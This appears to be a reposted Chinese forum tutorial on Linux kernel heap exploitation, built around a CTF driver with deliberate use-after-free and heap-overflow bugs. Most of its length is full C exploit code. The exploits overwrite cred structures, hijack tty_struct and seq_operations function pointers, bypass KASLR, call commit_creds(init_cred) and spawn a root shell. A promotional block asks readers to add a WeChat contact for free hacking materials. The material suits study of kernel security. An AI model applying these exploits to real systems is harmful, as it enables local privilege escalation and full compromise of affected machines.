ToB企服应用市场:ToB评测及商务社交产业平台

标题: Linux kernel 堆溢出使用方法 [打印本页]

作者: 涛声依旧在    时间: 2024-10-19 02:57
标题: Linux kernel 堆溢出使用方法
前言

本文还是用一道例题来讲解几种内核堆使用方法,内核堆使用手段比较多,可能会分三期左右写。进行内核堆使用前,可以先了解一下内核堆的基本概念,固然更好去找一些详细的内核堆的基础知识。
概述

Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器—— buddy system 与 slub allocator,前者负责以内存页为粒度管理全部可用的物理内存,后者则以slab分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

budy system

buddy system 以 page 为粒度管理着全部的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:
[img=720,507.325]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628454.png[/img]

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。slab allocator 向 buddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。
[img=720,370.58188362327536]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628455.png[/img]

【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习发展路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC毛病分析陈诉
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
heap_bof

题目分析

题目给了源码,存在UAF和heap overflow两种毛病。内核版本为4.4.27
  1. #include <asm/uaccess.h>
  2. #include <linux/cdev.h>
  3. #include <linux/device.h>
  4. #include <linux/fs.h>
  5. #include <linux/kernel.h>
  6. #include <linux/module.h>
  7. #include <linux/slab.h>
  8. #include <linux/types.h>
  9. struct class *bof_class;
  10. struct cdev cdev;
  11. int bof_major = 256;
  12. char *ptr[40];// 指针数组,用于存放分配的指针
  13. struct param {
  14.    size_t len;       // 内容长度
  15.    char *buf;        // 用户态缓冲区地址
  16.    unsigned long idx;// 表示 ptr 数组的 索引
  17. };
  18. long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
  19.    struct param p_arg;
  20.    copy_from_user(&p_arg, (void *) arg, sizeof(struct param));
  21.    long retval = 0;
  22.    switch (cmd) {
  23.        case 9:
  24.            copy_to_user(p_arg.buf, ptr[p_arg.idx], p_arg.len);
  25.            printk("copy_to_user: 0x%lx\n", *(long *) ptr[p_arg.idx]);
  26.            break;
  27.        case 8:
  28.            copy_from_user(ptr[p_arg.idx], p_arg.buf, p_arg.len);
  29.            break;
  30.        case 7:
  31.            kfree(ptr[p_arg.idx]);
  32.            printk("free: 0x%p\n", ptr[p_arg.idx]);
  33.            break;
  34.        case 5:
  35.            ptr[p_arg.idx] = kmalloc(p_arg.len, GFP_KERNEL);
  36.            printk("alloc: 0x%p, size: %2lx\n", ptr[p_arg.idx], p_arg.len);
  37.            break;
  38.        default:
  39.            retval = -1;
  40.            break;
  41.    }
  42.    return retval;
  43. }
  44. static const struct file_operations bof_fops = {
  45.        .owner = THIS_MODULE,
  46.        .unlocked_ioctl = bof_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
  47. };
  48. static int bof_init(void) {
  49.    //设备号
  50.    dev_t devno = MKDEV(bof_major, 0);
  51.    int result;
  52.    if (bof_major)//静态分配设备号
  53.        result = register_chrdev_region(devno, 1, "bof");
  54.    else {//动态分配设备号
  55.        result = alloc_chrdev_region(&devno, 0, 1, "bof");
  56.        bof_major = MAJOR(devno);
  57.    }
  58.    printk("bof_major /dev/bof: %d\n", bof_major);
  59.    if (result < 0) return result;
  60.    bof_class = class_create(THIS_MODULE, "bof");
  61.    device_create(bof_class, NULL, devno, NULL, "bof");
  62.    cdev_init(&cdev, &bof_fops);
  63.    cdev.owner = THIS_MODULE;
  64.    cdev_add(&cdev, devno, 1);
  65.    return 0;
  66. }
  67. static void bof_exit(void) {
  68.    cdev_del(&cdev);
  69.    device_destroy(bof_class, MKDEV(bof_major, 0));
  70.    class_destroy(bof_class);
  71.    unregister_chrdev_region(MKDEV(bof_major, 0), 1);
  72.    printk("bof exit success\n");
  73. }
  74. MODULE_AUTHOR("exp_ttt");
  75. MODULE_LICENSE("GPL");
  76. module_init(bof_init);
  77. module_exit(bof_exit);
复制代码
boot.sh
这道题是多核多线程。并且开启了smep和smap。
  1. #!/bin/bash
  2. qemu-system-x86_64 \
  3.  -initrd rootfs.cpio \
  4.  -kernel bzImage \
  5.  -m 512M \
  6.  -nographic \
  7.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  8.  -monitor /dev/null \
  9.  -smp cores=2,threads=2 \
  10.  -cpu kvm64,+smep,+smap \
复制代码
kernel Use After Free

使用思绪

cred 结构体大小为 0xa8 ,根据 slub 分配机制,假如申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。使用 UAF 毛病修改 cred 就可以实现提权。
exp
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/ioctl.h>
  6. #include <unistd.h>
  7. #include <sys/wait.h>
  8. #define BOF_MALLOC 5
  9. #define BOF_FREE 7
  10. #define BOF_EDIT 8
  11. #define BOF_READ 9
  12. struct param {
  13.    size_t len;       // 内容长度
  14.    char *buf;        // 用户态缓冲区地址
  15.    unsigned long idx;// 表示 ptr 数组的 索引
  16. };
  17. int main() {
  18.    int fd = open("dev/bof", O_RDWR);
  19.    struct param p = {0xa8, malloc(0xa8), 1};
  20.    ioctl(fd, BOF_MALLOC, &p);
  21.    ioctl(fd, BOF_FREE, &p);
  22.    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
  23.    if (pid < 0) {
  24.        puts("[-]fork error");
  25.        return -1;
  26.    }
  27.    if (pid == 0) {
  28.        p.buf = malloc(p.len = 0x30);
  29.        memset(p.buf, 0, p.len);
  30.        ioctl(fd, BOF_EDIT, &p); // 修改用户ID
  31.        if (getuid() == 0) {
  32.            puts("[+]root success");
  33.            system("/bin/sh");
  34.        } else {
  35.            puts("[-]root failed");
  36.        }
  37.    } else {
  38.        wait(NULL);
  39.    }
  40.    close(fd);
  41.    return 0;
  42. }
复制代码
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。
  1. // kernel version == 4.4.72
  2. void __init cred_init(void)
  3. {
  4.     /* allocate a slab in which we can store credentials */
  5.     cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
  6.                      0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
  7. }
  8. // kernel version == 4.5
  9. void __init cred_init(void)
  10. {
  11.     /* allocate a slab in which we can store credentials */
  12.     cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
  13.             SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
  14. }
复制代码
heap overflow

溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块不免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在许多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整洁的内存块用于修改。
使用思绪

exp
  1. #include <stdio.h>
  2. #include <fcntl.h>
  3. #include <sys/ioctl.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6. #include <stdlib.h>
  7. #include <sys/wait.h>
  8. struct param {
  9.    size_t len;    // 内容长度
  10.    char *buf;     // 用户态缓冲区地址
  11.    long long idx; // 表示 ptr 数组的 索引
  12. };
  13. const int BOF_NUM = 10;
  14. int main(void) {
  15.    int bof_fd = open("/dev/bof", O_RDWR);
  16.    if (bof_fd == -1) {
  17.        puts("[-] Failed to open bof device.");
  18.        exit(-1);
  19.    }
  20.    struct param p = {0xa8, malloc(0xa8), 0};
  21.    // 让驱动分配 0x40 个 0xa8  的内存块
  22.    for (int i = 0; i < 0x40; i++) {
  23.        ioctl(bof_fd, 5, &p);  // malloc
  24.    }
  25.    puts("[*] clear heap done");
  26.    // 让驱动分配 10 个 0xa8  的内存块
  27.    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
  28.        ioctl(bof_fd, 5, &p);  // malloc
  29.    }
  30.    p.idx = 5;
  31.    ioctl(bof_fd, 7, &p); // free
  32.    // 调用 fork 分配一个 cred结构体
  33.    int pid = fork();
  34.    if (pid < 0) {
  35.        puts("[-] fork error");
  36.        exit(-1);
  37.    }
  38.    // 此时 ptr[4] 和 cred相邻
  39.    // 溢出 修改 cred 实现提权
  40.    p.idx = 4, p.len = 0xc0 + 0x30;
  41.    memset(p.buf, 0, p.len);
  42.    ioctl(bof_fd, 8, &p);
  43.    if (!pid) {
  44.        //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
  45.        size_t uid = getuid();
  46.        printf("[*] uid: %zx\n", uid);
  47.        if (!uid) {
  48.            puts("[+] root success");
  49.            // 权限修改完毕,启动一个shell,就是root的shell了
  50.            system("/bin/sh");
  51.        } else {
  52.            puts("[-] root fail");
  53.        }
  54.    } else {
  55.        wait(0);
  56.    }
  57.    return 0;
  58. }
复制代码
tty_struct 劫持

boot.sh
这道题gadget较少,我们就关了smep保护。
  1. #!/bin/bash
  2. qemu-system-x86_64 \
  3.  -initrd rootfs.img \
  4.  -kernel bzImage \
  5.  -m 512M \
  6.  -nographic \
  7.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  8.  -monitor /dev/null \
  9.  -s \
  10.  -cpu kvm64 \
  11.  -smp cores=1,threads=1 \
  12.  --nographic
复制代码
使用思绪

在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,
  1. ptmx_open (drivers/tty/pty.c)
  2. -> tty_init_dev (drivers/tty/tty_io.c)
  3.  -> alloc_tty_struct (drivers/tty/tty_io.c)
复制代码
tty 的结构体 tty_srtuct 界说在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相干操纵函数的函数指针的结构体 tty_operations 。其魔数为0x5401
  1. // sizeof(struct tty_struct) == 0x2e0
  2. /* tty magic number */
  3. #define TTY_MAGIC        0x5401
  4. struct tty_struct {
  5.    ...
  6.     const struct tty_operations *ops;
  7.     ...
  8. }
  9. struct tty_operations {
  10.    ...
  11.     int  (*ioctl)(struct tty_struct *tty,
  12.             unsigned int cmd, unsigned long arg);
  13.    ...
  14. };
复制代码
使用 tty 设备的前提是挂载了 ptmx 设备。
  1. mkdir /dev/pts
  2. mount -t devpts none /dev/pts
  3. chmod 777 /dev/ptmx
复制代码
以是我们只需要劫持 tty_ops 的某个可触发的操纵即可,将其劫持到 get_root 函数处。
exp
  1. #include <sys/wait.h>
  2. #include <assert.h>
  3. #include <fcntl.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/ioctl.h>
  8. #include <sys/mman.h>
  9. #include <unistd.h>
  10. #define BOF_MALLOC 5
  11. #define BOF_FREE 7
  12. #define BOF_EDIT 8
  13. #define BOF_READ 9
  14. void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
  15. size_t init_cred = 0xFFFFFFFF81E496C0;
  16. void get_shell()
  17. {
  18.    system("/bin/sh");
  19. }
  20. unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
  21. void save_status() {
  22.    __asm__(
  23.        "mov user_cs, cs;"
  24.        "mov user_ss, ss;"
  25.        "mov user_rsp, rsp;"
  26.        "pushf;"
  27.        "pop user_rflags;"
  28.    );
  29.    puts("[*]status has been saved.");
  30. }
  31. size_t kernel_offset;
  32. void get_root() {
  33.    // 通过栈上残留地址来绕过 KASLR
  34.    __asm__(
  35.        "mov rbx, [rsp + 8];"
  36.        "mov kernel_offset, rbx;"
  37.    );
  38.    kernel_offset -= 0xffffffff814f604f;
  39.    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
  40.    init_cred = (void *) ((size_t) init_cred + kernel_offset);
  41.    commit_creds(init_cred);
  42.    __asm__(
  43.        "swapgs;"
  44.        "push user_ss;"
  45.        "push user_rsp;"
  46.        "push user_rflags;"
  47.        "push user_cs;"
  48.        "push user_rip;"
  49.        "iretq;"
  50.    );
  51. }
  52. struct param {
  53.    size_t len;    // 内容长度
  54.    char *buf;     // 用户态缓冲区地址
  55.    long long idx; // 表示 ptr 数组的 索引
  56. };
  57. int main(int argc, char const *argv[])
  58. {
  59.    save_status();
  60.    size_t fake_tty_ops[] = {
  61.        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
  62.        get_root
  63.    };
  64.    // len buf idx
  65.    struct param p = {0x2e0, malloc(0x2e0), 0};
  66.    printf("[*]p_addr==>%p\n", &p);
  67.    int bof_fd = open("/dev/bof", O_RDWR);
  68.    p.len = 0x2e0;
  69.    ioctl(bof_fd, BOF_MALLOC, &p);
  70.    memset(p.buf, '\xff', 0x2e0);
  71.    ioctl(bof_fd, BOF_EDIT, &p);
  72.    ioctl(bof_fd, BOF_FREE, &p);
  73.    int ptmx_fd = open("/dev/ptmx", O_RDWR);
  74.    p.len = 0x20;
  75.    ioctl(bof_fd, BOF_READ, &p);
  76.    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
  77.    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
  78.    *(size_t *)&p.buf[0x18] = &fake_tty_ops;
  79.    ioctl(bof_fd, BOF_EDIT, &p);
  80.    ioctl(ptmx_fd, 0, 0);
  81.    
  82.     return 0;
  83. }
复制代码
seq_operations 劫持

boot.sh
  1. #!/bin/bash
  2. qemu-system-x86_64 \
  3.  -initrd rootfs.img \
  4.  -kernel bzImage \
  5.  -m 512M \
  6.  -nographic \
  7.  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
  8.  -monitor /dev/null \
  9.  -s \
  10.  -cpu kvm64 \
  11.  -smp cores=1,threads=1 \
  12.  --nographic
复制代码
使用思绪

seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。
  1. struct seq_operations {
  2.     void * (*start) (struct seq_file *m, loff_t *pos);
  3.     void (*stop) (struct seq_file *m, void *v);
  4.     void * (*next) (struct seq_file *m, void *v, loff_t *pos);
  5.     int (*show) (struct seq_file *m, void *v);
  6. };
复制代码
调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。
  1. ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
  2. {
  3.     struct seq_file *m = file->private_data;
  4.     ...
  5.     p = m->op->start(m, &pos);
  6.     ...
复制代码
当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。
[img=720,260.4149377593361]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202410181628456.png[/img]

exp
  1. #include <fcntl.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <sys/ioctl.h>
  5. #include <unistd.h>
  6. #include <string.h>
  7. struct param {
  8.    size_t len;       // 内容长度
  9.    char *buf;        // 用户态缓冲区地址
  10.    long long idx;// 表示 ptr 数组的 索引
  11. };
  12. const int SEQ_NUM = 0x200;
  13. const int DATA_SIZE = 0x20 * 8;
  14. #define BOF_MALLOC 5
  15. #define BOF_FREE 7
  16. #define BOF_EDIT 8
  17. #define BOF_READ 9
  18. void get_shell() {
  19.    system("/bin/sh");
  20. }
  21. size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
  22. void save_status() {
  23.    __asm__("mov user_cs, cs;"
  24.            "mov user_ss, ss;"
  25.            "mov user_sp, rsp;"
  26.            "pushf;"
  27.            "pop user_rflags;");
  28.    puts("[*] status has been saved.");
  29. }
  30. void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
  31. void *init_cred = (void *) 0xFFFFFFFF81E496C0;
  32. size_t kernel_offset;
  33. void get_root() {
  34.    // 通过栈上的残留值绕过KASLR。
  35.    __asm__(
  36.        "mov rax, [rsp + 8];"
  37.        "mov kernel_offset, rax;"
  38.    );
  39.    kernel_offset -= 0xffffffff81229378;
  40.    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
  41.    init_cred = (void *) ((size_t) init_cred + kernel_offset);
  42.    commit_creds(init_cred);
  43.    __asm__(
  44.        "swapgs;"
  45.        "push user_ss;"
  46.        "push user_sp;"
  47.        "push user_rflags;"
  48.        "push user_cs;"
  49.        "push user_rip;"
  50.        "iretq;"
  51.    );
  52. }
  53. int main() {
  54.    save_status();
  55.    int bof_fd = open("dev/bof", O_RDWR);
  56.    if (bof_fd < 0) {
  57.        puts("[-] Failed to open bof.");
  58.        exit(-1);
  59.    }
  60.    struct param p = {0x20, malloc(0x20), 0};
  61.    for (int i = 0; i < 0x40; i++) {
  62.        ioctl(bof_fd, BOF_MALLOC, &p);
  63.    }
  64.    memset(p.buf, '\xff', p.len);
  65.    ioctl(bof_fd, BOF_EDIT, &p);
  66.    // 大量喷洒 seq_ops 结构体。
  67.    int seq_fd[SEQ_NUM];
  68.    for (int i = 0; i < SEQ_NUM; i++) {
  69.        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
  70.        if (seq_fd[i] < 0) {
  71.            puts("[-] Failed to open stat.");
  72.        }
  73.    }
  74.    puts("[*] seq_operations spray finished.");
  75.    
  76.    // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
  77.    p.len = DATA_SIZE;
  78.    p.buf = malloc(DATA_SIZE);
  79.    p.idx = 0;
  80.    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
  81.        *(size_t *) &p.buf[i] = (size_t) get_root;
  82.    }
  83.    ioctl(bof_fd, BOF_EDIT, &p);
  84.    puts("[*] Heap overflow finished.");
  85.    for (int i = 0; i < SEQ_NUM; i++) {
  86.        read(seq_fd[i], p.buf, 1);
  87.    }
  88.    return 0;
  89. }
复制代码
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4